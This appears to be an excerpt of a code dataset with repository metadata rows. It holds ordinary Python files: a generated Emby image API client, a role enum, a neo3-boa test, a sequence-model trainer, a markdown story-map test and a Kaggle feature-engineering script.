'/Images/MediaInfo/{Theme}/{Name}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_images_ratings(self, **kwargs): # noqa: E501
"""Gets all rating images by name # noqa: E501
Requires authentication as user # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_images_ratings(async_req=True)
>>> result = thread.get()
:param async_req bool
:return: list[ImageByNameInfo]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_images_ratings_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.get_images_ratings_with_http_info(**kwargs) # noqa: E501
return data
def get_images_ratings_with_http_info(self, **kwargs): # noqa: E501
"""Gets all rating images by name # noqa: E501
Requires authentication as user # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_images_ratings_with_http_info(async_req=True)
>>> result = thread.get()
:param async_req bool
:return: list[ImageByNameInfo]
If the method is called asynchronously,
returns the request thread.
"""
all_params = [] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_images_ratings" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json', 'application/xml']) # noqa: E501
# Authentication setting
auth_settings = ['apikeyauth', 'embyauth'] # noqa: E501
return self.api_client.call_api(
'/Images/Ratings', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[ImageByNameInfo]', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_images_ratings_by_theme_by_name(self, name, theme, **kwargs): # noqa: E501
"""Gets a rating image by name # noqa: E501
No authentication required # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_images_ratings_by_theme_by_name(name, theme, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str name: The name of the image (required)
:param str theme: The theme to get the image from (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_images_ratings_by_theme_by_name_with_http_info(name, theme, **kwargs) # noqa: E501
else:
(data) = self.get_images_ratings_by_theme_by_name_with_http_info(name, theme, **kwargs) # noqa: E501
return data
def get_images_ratings_by_theme_by_name_with_http_info(self, name, theme, **kwargs): # noqa: E501
"""Gets a rating image by name # noqa: E501
No authentication required # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_images_ratings_by_theme_by_name_with_http_info(name, theme, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str name: The name of the image (required)
:param str theme: The theme to get the image from (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['name', 'theme'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_images_ratings_by_theme_by_name" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'name' is set
if ('name' not in params or
params['name'] is None):
raise ValueError("Missing the required parameter `name` when calling `get_images_ratings_by_theme_by_name`") # noqa: E501
# verify the required parameter 'theme' is set
if ('theme' not in params or
params['theme'] is None):
raise ValueError("Missing the required parameter `theme` when calling `get_images_ratings_by_theme_by_name`") # noqa: E501
collection_formats = {}
path_params = {}
if 'name' in params:
path_params['Name'] = params['name'] # noqa: E501
if 'theme' in params:
path_params['Theme'] = params['theme'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/Images/Ratings/{Theme}/{Name}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
| 38.469595 | 137 | 0.60894 | 2,687 | 22,774 | 4.894306 | 0.062151 | 0.049882 | 0.025549 | 0.032849 | 0.961372 | 0.959927 | 0.95795 | 0.951258 | 0.946164 | 0.940081 | 0 | 0.016131 | 0.303153 | 22,774 | 591 | 138 | 38.534687 | 0.812539 | 0.328884 | 0 | 0.803175 | 1 | 0 | 0.181533 | 0.062696 | 0 | 0 | 0 | 0 | 0 | 1 | 0.04127 | false | 0 | 0.012698 | 0 | 0.114286 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
402cf7f9557f5187f85882c47d299f9119ff4a81 | 246 | py | Python | practice_platform_backend/account/__init__.py | Jamison-Chen/practice_platform_backend | 860b2e3bd7d57eb7db0e98f5fdda29565951e532 | [
"MIT"
] | null | null | null | practice_platform_backend/account/__init__.py | Jamison-Chen/practice_platform_backend | 860b2e3bd7d57eb7db0e98f5fdda29565951e532 | [
"MIT"
] | null | null | null | practice_platform_backend/account/__init__.py | Jamison-Chen/practice_platform_backend | 860b2e3bd7d57eb7db0e98f5fdda29565951e532 | [
"MIT"
] | null | null | null | class UserIdentity:
QUISHOP_STAFF = "QUISHOP_STAFF"
TENANT_STAFF = "TENANT_STAFF"
CUSTOMER = "CUSTOMER"
CHOICES = [
(QUISHOP_STAFF, QUISHOP_STAFF),
(TENANT_STAFF, TENANT_STAFF),
(CUSTOMER, CUSTOMER),
]
| 24.6 | 39 | 0.634146 | 23 | 246 | 6.434783 | 0.304348 | 0.324324 | 0.432432 | 0.324324 | 0.837838 | 0.837838 | 0.837838 | 0.837838 | 0.837838 | 0.837838 | 0 | 0 | 0.264228 | 246 | 9 | 40 | 27.333333 | 0.81768 | 0 | 0 | 0 | 0 | 0 | 0.134146 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0.555556 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 12 |
40393a9e51f6ec065a5bc48f6b56f61da47a3d96 | 96 | py | Python | boa3_test/test_sc/interop_test/policy/IsBlockedTooFewArguments.py | hal0x2328/neo3-boa | 6825a3533384cb01660773050719402a9703065b | [
"Apache-2.0"
] | 25 | 2020-07-22T19:37:43.000Z | 2022-03-08T03:23:55.000Z | boa3_test/test_sc/interop_test/policy/IsBlockedTooFewArguments.py | hal0x2328/neo3-boa | 6825a3533384cb01660773050719402a9703065b | [
"Apache-2.0"
] | 419 | 2020-04-23T17:48:14.000Z | 2022-03-31T13:17:45.000Z | boa3_test/test_sc/interop_test/policy/IsBlockedTooFewArguments.py | hal0x2328/neo3-boa | 6825a3533384cb01660773050719402a9703065b | [
"Apache-2.0"
] | 15 | 2020-05-21T21:54:24.000Z | 2021-11-18T06:17:24.000Z | from boa3.builtin.interop.policy import is_blocked
def main() -> int:
return is_blocked()
| 16 | 50 | 0.729167 | 14 | 96 | 4.857143 | 0.857143 | 0.264706 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.0125 | 0.166667 | 96 | 5 | 51 | 19.2 | 0.8375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | true | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 1 | 1 | 0 | 0 | 8 |
40452005f52f1a39ebf3f380e923e3a865da5e43 | 9,413 | py | Python | unify_eval/training/seq2seq/seq2seq_trainer.py | goesslfabian/unify-eval | ced486e44ca57ed31b552fd20b53cae61015e486 | [
"Apache-2.0"
] | 3 | 2021-02-18T10:40:29.000Z | 2022-01-28T10:20:54.000Z | unify_eval/training/seq2seq/seq2seq_trainer.py | goesslfabian/unify-eval | ced486e44ca57ed31b552fd20b53cae61015e486 | [
"Apache-2.0"
] | 8 | 2020-11-13T19:00:13.000Z | 2022-02-10T02:10:28.000Z | unify_eval/training/seq2seq/seq2seq_trainer.py | goesslfabian/unify-eval | ced486e44ca57ed31b552fd20b53cae61015e486 | [
"Apache-2.0"
] | 1 | 2021-06-23T12:37:12.000Z | 2021-06-23T12:37:12.000Z | from random import shuffle
from typing import List, Union
from unify_eval.model.deep_model import DeepModel
from unify_eval.model.mixins.sequences.language_models import LayeredLanguageModel
from unify_eval.training.callback import TrainerCallback
from unify_eval.training.seq2seq.seq2seq_data import Seq2SeqData
from unify_eval.training.trainer import Trainer
from unify_eval.utils.load_data import KeyedBatchLoader, FiniteKeyedLazyDataLoader, KeyedLazyDataLoader
class Seq2SeqModelTrainer(Trainer):
"""
Same as Trainer, but resets model state between calls
"""
def __init__(self,
data_loader: Union[KeyedBatchLoader, FiniteKeyedLazyDataLoader, KeyedLazyDataLoader],
minibatch_callbacks: List[TrainerCallback],
batch_callbacks: List[TrainerCallback],
text_kw: str = "texts"):
super().__init__(data_loader, minibatch_callbacks, batch_callbacks)
self.text_kw = text_kw
def train_on_minibatch(self, model: LayeredLanguageModel, keyed_minibatch: dict, i_minibatch: int, iteration: int,
backprop_length: int = 150, minibatch_size: int = 64,
**kwargs) -> DeepModel:
tokenized_texts = model.preprocessing.tokenizer.tokenize_all(
texts=list(keyed_minibatch.pop(self.text_kw)))
# shuffle texts
shuffle(tokenized_texts)
lm_data = Seq2SeqData.generate_stateful_lm_data(
sequence_mapper=model.preprocessing.sequence_mapper,
tokenized_texts=tokenized_texts,
minibatch_size=minibatch_size,
backprop_length=backprop_length)
model.train_mode()
with model:
model.train(data=lm_data, **keyed_minibatch, **kwargs)
model.eval_mode()
for call_back in self.minibatch_callbacks:
model = call_back(model=model,
iteration=iteration,
i_minibatch=i_minibatch,
**keyed_minibatch, **kwargs,
minibatch_size=minibatch_size,
backprop_length=backprop_length)
call_back.global_step += 1
model.reset()
return model
def train_on_full_batch(self,
model: LayeredLanguageModel,
minibatch_size: int,
iteration: int,
progress_bar: bool = True,
backprop_length: int = 150,
text_batch_size: int = 10000,
**kwargs) -> DeepModel:
print(f"training iteration {iteration}")
i_minibatch = 0
for i_minibatch, minibatch in enumerate(self.data_loader.yield_minibatches(minibatch_size=text_batch_size,
progress_bar=progress_bar)):
self.train_on_minibatch(model=model,
keyed_minibatch=minibatch,
i_minibatch=i_minibatch,
iteration=iteration,
backprop_length=backprop_length,
minibatch_size=minibatch_size,
**kwargs)
model.reset()
for call_back in self.batch_callbacks:
model = call_back(model=model,
iteration=iteration,
i_minibatch=i_minibatch,
minibatch_size=minibatch_size,
backprop_length=backprop_length,
**kwargs)
call_back.global_step += 1
return model
def train_model(self,
model: LayeredLanguageModel,
n_iterations: int,
minibatch_size: int,
progress_bar: bool = True,
initial_iteration: int = 0,
run_name: str = "run0",
backprop_length: int = 150, text_batch_size: int = 10000,
**kwargs) -> DeepModel:
print("preparing callbacks ...")
for callbacks in (self.minibatch_callbacks, self.batch_callbacks):
for callback in callbacks:
callback.prepare_run(run_name=run_name, **kwargs)
print("training ...")
for iteration in range(initial_iteration, n_iterations + initial_iteration):
self.train_on_full_batch(model=model,
minibatch_size=minibatch_size,
iteration=iteration,
progress_bar=progress_bar,
backprop_length=backprop_length,
**kwargs)
self.data_loader.reset()
return model
class CompSeq2SeqModelTrainer(Trainer):
"""
Same as Trainer, but resets model state between calls
"""
def __init__(self,
data_loader: Union[KeyedBatchLoader, FiniteKeyedLazyDataLoader, KeyedLazyDataLoader],
minibatch_callbacks: List[TrainerCallback],
batch_callbacks: List[TrainerCallback],
text_kw: str = "texts"):
super().__init__(data_loader, minibatch_callbacks, batch_callbacks)
self.text_kw = text_kw
def train_on_minibatch(self, model: LayeredLanguageModel, keyed_minibatch: dict, i_minibatch: int, iteration: int,
backprop_length: int = 150, minibatch_size: int = 64,
**kwargs) -> LayeredLanguageModel:
tokenized_texts = model.tokenizer.tokenize_all(texts=list(keyed_minibatch.pop(self.text_kw)))
# shuffle texts
shuffle(tokenized_texts)
lm_data = Seq2SeqData.generate_stateful_lm_data(sequence_mapper=model.sequence_mapper,
tokenized_texts=tokenized_texts,
minibatch_size=minibatch_size,
backprop_length=backprop_length)
model.train_mode()
with model:
model.train(data=lm_data, **keyed_minibatch)
model.eval_mode()
for call_back in self.minibatch_callbacks:
model = call_back(model=model,
iteration=iteration,
i_minibatch=i_minibatch,
**keyed_minibatch, **kwargs,
minibatch_size=minibatch_size,
backprop_length=backprop_length)
call_back.global_step += 1
model.reset()
return model
def train_on_full_batch(self,
model: LayeredLanguageModel,
minibatch_size: int,
iteration: int,
progress_bar: bool = True,
backprop_length: int = 150,
text_batch_size: int = 10000,
**kwargs) -> LayeredLanguageModel:
print(f"training iteration {iteration}")
i_minibatch = 0
for i_minibatch, minibatch in enumerate(self.data_loader.yield_minibatches(minibatch_size=text_batch_size,
progress_bar=progress_bar)):
self.train_on_minibatch(model=model,
keyed_minibatch=minibatch,
i_minibatch=i_minibatch,
iteration=iteration,
backprop_length=backprop_length,
minibatch_size=minibatch_size,
**kwargs)
model.reset()
for call_back in self.batch_callbacks:
model = call_back(model=model,
iteration=iteration,
i_minibatch=i_minibatch,
minibatch_size=minibatch_size,
backprop_length=backprop_length,
**kwargs)
call_back.global_step += 1
return model
def train_model(self,
model: LayeredLanguageModel,
n_iterations: int,
minibatch_size: int,
progress_bar: bool = True,
initial_iteration: int = 0,
backprop_length: int = 150,
text_batch_size: int = 10000,
**kwargs) -> LayeredLanguageModel:
print("training ...")
for iteration in range(initial_iteration, n_iterations + initial_iteration):
self.train_on_full_batch(model=model,
minibatch_size=minibatch_size,
iteration=iteration,
progress_bar=progress_bar,
backprop_length=backprop_length,
**kwargs)
self.data_loader.reset()
return model
| 45.038278 | 118 | 0.527143 | 799 | 9,413 | 5.904881 | 0.133917 | 0.077151 | 0.04663 | 0.055108 | 0.851844 | 0.851844 | 0.851844 | 0.851844 | 0.851844 | 0.851844 | 0 | 0.010456 | 0.410709 | 9,413 | 208 | 119 | 45.254808 | 0.840094 | 0.014448 | 0 | 0.860465 | 0 | 0 | 0.013088 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.046512 | false | 0 | 0.046512 | 0 | 0.139535 | 0.02907 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
4075f0c2c55d14dc486cf7d317586b59195806d0 | 10,852 | py | Python | markdownusm/tests/test_integration.py | kbyky/markdownusm | 8d21949f80f7762bb80689e4f72b291bf76a0b2c | [
"MIT"
] | null | null | null | markdownusm/tests/test_integration.py | kbyky/markdownusm | 8d21949f80f7762bb80689e4f72b291bf76a0b2c | [
"MIT"
] | null | null | null | markdownusm/tests/test_integration.py | kbyky/markdownusm | 8d21949f80f7762bb80689e4f72b291bf76a0b2c | [
"MIT"
] | null | null | null | #!/usr/bin/env python
import pytest
from markdownusm.parser import MarkdownParser
from markdownusm.usm import Usm
from markdownusm.xml import XMLObjects
@pytest.fixture
def markdown():
return """
- Release1
- Release2
- Release3
- Release4
- Release5
<!-- Comment
## Comment
Comment
---
Comment
Comment -->
# Activity
## Task
Story
Story
---
---
Story
## Task
---
Story
Story
Story
---
Story
# Activity
## Task
---
Story
---
Story
<!--
Story
-->
## Task
Story
Story
Story
Story
---
---
Story
Story
Story
"""
@pytest.fixture
def expected():
return """
<mxfile>
<diagram>
<mxGraphModel dx="661" dy="316" grid="0" gridSize="10" guides="1" tooltips="1" connect="1" arrows="1" fold="1" page="1" pageScale="1" pageWidth="827" pageHeight="1169" math="0" shadow="0" background="#FFFFFF">
<root>
<mxCell id="0"/>
<mxCell id="1" parent="0"/>
<mxCell value="Activity" style="html=1;rounded=0;whiteSpace=wrap;fillColor=#1F568A;strokeColor=none;fontColor=#FFFFFF;align=left;verticalAlign=top;spacingLeft=5;spacingRight=5;shadow=1" parent="1" vertex="1">
<mxGeometry x="290.0" y="50.0" width="140" height="60" as="geometry"/>
</mxCell>
<mxCell value="Task" style="html=1;rounded=0;whiteSpace=wrap;fillColor=#3288C4;strokeColor=none;fontColor=#FFFFFF;align=left;verticalAlign=top;spacingLeft=5;spacingRight=5;shadow=1" parent="1" vertex="1">
<mxGeometry x="290.0" y="130.0" width="140" height="60" as="geometry"/>
</mxCell>
<mxCell value="Task" style="html=1;rounded=0;whiteSpace=wrap;fillColor=#3288C4;strokeColor=none;fontColor=#FFFFFF;align=left;verticalAlign=top;spacingLeft=5;spacingRight=5;shadow=1" parent="1" vertex="1">
<mxGeometry x="450.0" y="130.0" width="140" height="60" as="geometry"/>
</mxCell>
<mxCell value="Task" style="html=1;rounded=0;whiteSpace=wrap;fillColor=#3288C4;strokeColor=none;fontColor=#FFFFFF;align=left;verticalAlign=top;spacingLeft=5;spacingRight=5;shadow=1" parent="1" vertex="1">
<mxGeometry x="610.0" y="130.0" width="140" height="60" as="geometry"/>
</mxCell>
<mxCell value="Task" style="html=1;rounded=0;whiteSpace=wrap;fillColor=#3288C4;strokeColor=none;fontColor=#FFFFFF;align=left;verticalAlign=top;spacingLeft=5;spacingRight=5;shadow=1" parent="1" vertex="1">
<mxGeometry x="770.0" y="130.0" width="140" height="60" as="geometry"/>
</mxCell>
<mxCell value="Story" style="html=1;rounded=0;whiteSpace=wrap;fillColor=#ebf4fa;strokeColor=none;fontColor=#5F5F63;align=left;verticalAlign=top;spacingLeft=5;spacingRight=5;shadow=1" parent="1" vertex="1">
<mxGeometry x="290.0" y="210.0" width="140" height="60" as="geometry"/>
</mxCell>
<mxCell value="Story" style="html=1;rounded=0;whiteSpace=wrap;fillColor=#ebf4fa;strokeColor=none;fontColor=#5F5F63;align=left;verticalAlign=top;spacingLeft=5;spacingRight=5;shadow=1" parent="1" vertex="1">
<mxGeometry x="290.0" y="290.0" width="140" height="60" as="geometry"/>
</mxCell>
<mxCell value="Story" style="html=1;rounded=0;whiteSpace=wrap;fillColor=#ebf4fa;strokeColor=none;fontColor=#5F5F63;align=left;verticalAlign=top;spacingLeft=5;spacingRight=5;shadow=1" parent="1" vertex="1">
<mxGeometry x="290.0" y="770.0" width="140" height="60" as="geometry"/>
</mxCell>
<mxCell value="Story" style="html=1;rounded=0;whiteSpace=wrap;fillColor=#ebf4fa;strokeColor=none;fontColor=#5F5F63;align=left;verticalAlign=top;spacingLeft=5;spacingRight=5;shadow=1" parent="1" vertex="1">
<mxGeometry x="450.0" y="530.0" width="140" height="60" as="geometry"/>
</mxCell>
<mxCell value="Story" style="html=1;rounded=0;whiteSpace=wrap;fillColor=#ebf4fa;strokeColor=none;fontColor=#5F5F63;align=left;verticalAlign=top;spacingLeft=5;spacingRight=5;shadow=1" parent="1" vertex="1">
<mxGeometry x="450.0" y="610.0" width="140" height="60" as="geometry"/>
</mxCell>
<mxCell value="Story" style="html=1;rounded=0;whiteSpace=wrap;fillColor=#ebf4fa;strokeColor=none;fontColor=#5F5F63;align=left;verticalAlign=top;spacingLeft=5;spacingRight=5;shadow=1" parent="1" vertex="1">
<mxGeometry x="450.0" y="690.0" width="140" height="60" as="geometry"/>
</mxCell>
<mxCell value="Story" style="html=1;rounded=0;whiteSpace=wrap;fillColor=#ebf4fa;strokeColor=none;fontColor=#5F5F63;align=left;verticalAlign=top;spacingLeft=5;spacingRight=5;shadow=1" parent="1" vertex="1">
<mxGeometry x="450.0" y="770.0" width="140" height="60" as="geometry"/>
</mxCell>
<mxCell value="Story" style="html=1;rounded=0;whiteSpace=wrap;fillColor=#ebf4fa;strokeColor=none;fontColor=#5F5F63;align=left;verticalAlign=top;spacingLeft=5;spacingRight=5;shadow=1" parent="1" vertex="1">
<mxGeometry x="610.0" y="530.0" width="140" height="60" as="geometry"/>
</mxCell>
<mxCell value="Story" style="html=1;rounded=0;whiteSpace=wrap;fillColor=#ebf4fa;strokeColor=none;fontColor=#5F5F63;align=left;verticalAlign=top;spacingLeft=5;spacingRight=5;shadow=1" parent="1" vertex="1">
<mxGeometry x="610.0" y="770.0" width="140" height="60" as="geometry"/>
</mxCell>
<mxCell value="Story" style="html=1;rounded=0;whiteSpace=wrap;fillColor=#ebf4fa;strokeColor=none;fontColor=#5F5F63;align=left;verticalAlign=top;spacingLeft=5;spacingRight=5;shadow=1" parent="1" vertex="1">
<mxGeometry x="770.0" y="210.0" width="140" height="60" as="geometry"/>
</mxCell>
<mxCell value="Story" style="html=1;rounded=0;whiteSpace=wrap;fillColor=#ebf4fa;strokeColor=none;fontColor=#5F5F63;align=left;verticalAlign=top;spacingLeft=5;spacingRight=5;shadow=1" parent="1" vertex="1">
<mxGeometry x="770.0" y="290.0" width="140" height="60" as="geometry"/>
</mxCell>
<mxCell value="Story" style="html=1;rounded=0;whiteSpace=wrap;fillColor=#ebf4fa;strokeColor=none;fontColor=#5F5F63;align=left;verticalAlign=top;spacingLeft=5;spacingRight=5;shadow=1" parent="1" vertex="1">
<mxGeometry x="770.0" y="370.0" width="140" height="60" as="geometry"/>
</mxCell>
<mxCell value="Story" style="html=1;rounded=0;whiteSpace=wrap;fillColor=#ebf4fa;strokeColor=none;fontColor=#5F5F63;align=left;verticalAlign=top;spacingLeft=5;spacingRight=5;shadow=1" parent="1" vertex="1">
<mxGeometry x="770.0" y="450.0" width="140" height="60" as="geometry"/>
</mxCell>
<mxCell value="Story" style="html=1;rounded=0;whiteSpace=wrap;fillColor=#ebf4fa;strokeColor=none;fontColor=#5F5F63;align=left;verticalAlign=top;spacingLeft=5;spacingRight=5;shadow=1" parent="1" vertex="1">
<mxGeometry x="770.0" y="770.0" width="140" height="60" as="geometry"/>
</mxCell>
<mxCell value="Story" style="html=1;rounded=0;whiteSpace=wrap;fillColor=#ebf4fa;strokeColor=none;fontColor=#5F5F63;align=left;verticalAlign=top;spacingLeft=5;spacingRight=5;shadow=1" parent="1" vertex="1">
<mxGeometry x="770.0" y="850.0" width="140" height="60" as="geometry"/>
</mxCell>
<mxCell value="Story" style="html=1;rounded=0;whiteSpace=wrap;fillColor=#ebf4fa;strokeColor=none;fontColor=#5F5F63;align=left;verticalAlign=top;spacingLeft=5;spacingRight=5;shadow=1" parent="1" vertex="1">
<mxGeometry x="770.0" y="930.0" width="140" height="60" as="geometry"/>
</mxCell>
<mxCell value="Release1" style="html=1;rounded=0;whiteSpace=wrap;fillColor=none;strokeColor=none;fontColor=#7B8EA0;align=left;verticalAlign=top;spacingLeft=5;spacingRight=5;shadow=1" parent="1" vertex="1">
<mxGeometry x="130.0" y="210.0" width="140" height="60" as="geometry"/>
</mxCell>
<mxCell value="Release2" style="html=1;rounded=0;whiteSpace=wrap;fillColor=none;strokeColor=none;fontColor=#7B8EA0;align=left;verticalAlign=top;spacingLeft=5;spacingRight=5;shadow=1" parent="1" vertex="1">
<mxGeometry x="130.0" y="530.0" width="140" height="60" as="geometry"/>
</mxCell>
<mxCell value="Release3" style="html=1;rounded=0;whiteSpace=wrap;fillColor=none;strokeColor=none;fontColor=#7B8EA0;align=left;verticalAlign=top;spacingLeft=5;spacingRight=5;shadow=1" parent="1" vertex="1">
<mxGeometry x="130.0" y="770.0" width="140" height="60" as="geometry"/>
</mxCell>
<mxCell style="html=1;endArrow=none;shadow=0;strokeWidth=2;strokeColor=#5F5F63" edge="1" parent="1">
<mxGeometry width="50" height="50" relative="1" as="geometry">
<mxPoint x="130.0" y="202.0" as="sourcePoint"/>
<mxPoint x="930.0" y="202.0" as="targetPoint"/>
</mxGeometry>
</mxCell>
<mxCell style="html=1;endArrow=none;shadow=0;strokeWidth=2;strokeColor=#5F5F63" edge="1" parent="1">
<mxGeometry width="50" height="50" relative="1" as="geometry">
<mxPoint x="130.0" y="522.0" as="sourcePoint"/>
<mxPoint x="930.0" y="522.0" as="targetPoint"/>
</mxGeometry>
</mxCell>
<mxCell style="html=1;endArrow=none;shadow=0;strokeWidth=2;strokeColor=#5F5F63" edge="1" parent="1">
<mxGeometry width="50" height="50" relative="1" as="geometry">
<mxPoint x="130.0" y="762.0" as="sourcePoint"/>
<mxPoint x="930.0" y="762.0" as="targetPoint"/>
</mxGeometry>
</mxCell>
</root>
</mxGraphModel>
</diagram>
</mxfile>
"""
def test_integration(markdown, expected):
parser = MarkdownParser(markdown=markdown)
# Create list of dictionaries
activities_list = parser.extract_activities_with_position()
tasks_list = parser.extract_tasks_with_position()
stories_list = parser.extract_stories_with_position()
release_texts_list = parser.extract_release_texts_with_position()
release_bars_list = parser.create_release_bars_with_position()
# Create XML objects
usm_activities = Usm(source=activities_list)
usm_tasks = Usm(source=tasks_list)
usm_stories = Usm(source=stories_list)
usm_release_texts = Usm(source=release_texts_list)
usm_release_bars = Usm(source=release_bars_list)
# Create XML documents
activities = usm_activities.to_activities()
tasks = usm_tasks.to_tasks()
stories = usm_stories.to_stories()
release_texts = usm_release_texts.to_release_texts()
release_bars = usm_release_bars.to_release_bars()
export = XMLObjects(
shapes=activities + tasks + stories + release_texts + release_bars
).render()
import re
pat = "<.*?>"
assert re.findall(pat, export) == re.findall(pat, expected)
| 53.196078 | 221 | 0.667527 | 1,449 | 10,852 | 4.959972 | 0.095928 | 0.008348 | 0.037568 | 0.056769 | 0.809935 | 0.803256 | 0.801169 | 0.801169 | 0.784194 | 0.784194 | 0 | 0.078384 | 0.155916 | 10,852 | 203 | 222 | 53.458128 | 0.706223 | 0.008109 | 0 | 0.536313 | 0 | 0.290503 | 0.875651 | 0.377788 | 0 | 0 | 0 | 0 | 0.005587 | 1 | 0.01676 | false | 0 | 0.027933 | 0.011173 | 0.055866 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
40b115a79779c02000753ee3d28c02e1e2a404d1 | 127,131 | py | Python | Dataset.py | arc144/Kaggle-Santander-Value-Prediction-Challenge | 6b58ec481324d1520e241fa2f29aa76696708c96 | [
"MIT"
] | null | null | null | Dataset.py | arc144/Kaggle-Santander-Value-Prediction-Challenge | 6b58ec481324d1520e241fa2f29aa76696708c96 | [
"MIT"
] | null | null | null | Dataset.py | arc144/Kaggle-Santander-Value-Prediction-Challenge | 6b58ec481324d1520e241fa2f29aa76696708c96 | [
"MIT"
] | null | null | null | import pandas as pd
import numpy as np
from sklearn.preprocessing import MaxAbsScaler
from sklearn.decomposition import TruncatedSVD, SparsePCA, FactorAnalysis
from sklearn.random_projection import SparseRandomProjection
from scipy.stats import ks_2samp
from scipy.stats import kurtosis, skew, mode
from Models import LightGBM
from sklearn.model_selection import train_test_split, KFold
from sklearn.cluster import KMeans
from sklearn.metrics import mean_squared_error
from math import sqrt
def geo_mean_overflow(iterable):
a = np.log(iterable)
return np.exp(a.sum() / len(a))
def load_df_from_path(path):
df = pd.read_csv(path, index_col=0)
return df
def running_mean(x, N):
cumsum = np.cumsum(np.insert(x, 0, 0))
return (cumsum[N:] - cumsum[:-N]) / float(N)
def compute_EMA(x, alpha):
'''Compute EMA for array, x goes from newer to older'''
inv_x = x[::-1]
df = pd.DataFrame(inv_x)
return np.squeeze(df.ewm(alpha=alpha).mean().values[-1])
def compute_TS_aggregates(df, prefix='TS'):
'''Add aggregates rowise considering TS properties'''
agg_df = pd.DataFrame(index=df.index)
for index, row in df.iterrows():
non_zero_values = row.iloc[row.nonzero()]
if non_zero_values.empty:
continue
non_zero_values = non_zero_values.values
agg_df.at[index, '{}_non_zero_mean'.format(
prefix)] = non_zero_values.mean()
agg_df.at[index, '{}_non_zero_max'.format(
prefix)] = non_zero_values.max()
agg_df.at[index, '{}_non_zero_min'.format(
prefix)] = non_zero_values.min()
agg_df.at[index, '{}_non_zero_std'.format(
prefix)] = np.std(non_zero_values)
agg_df.at[index, '{}non_zero_median'.format(prefix)] = \
np.median(non_zero_values)
agg_df.at[index, '{}_non_zero_gmean'.format(prefix)] = \
geo_mean_overflow(non_zero_values)
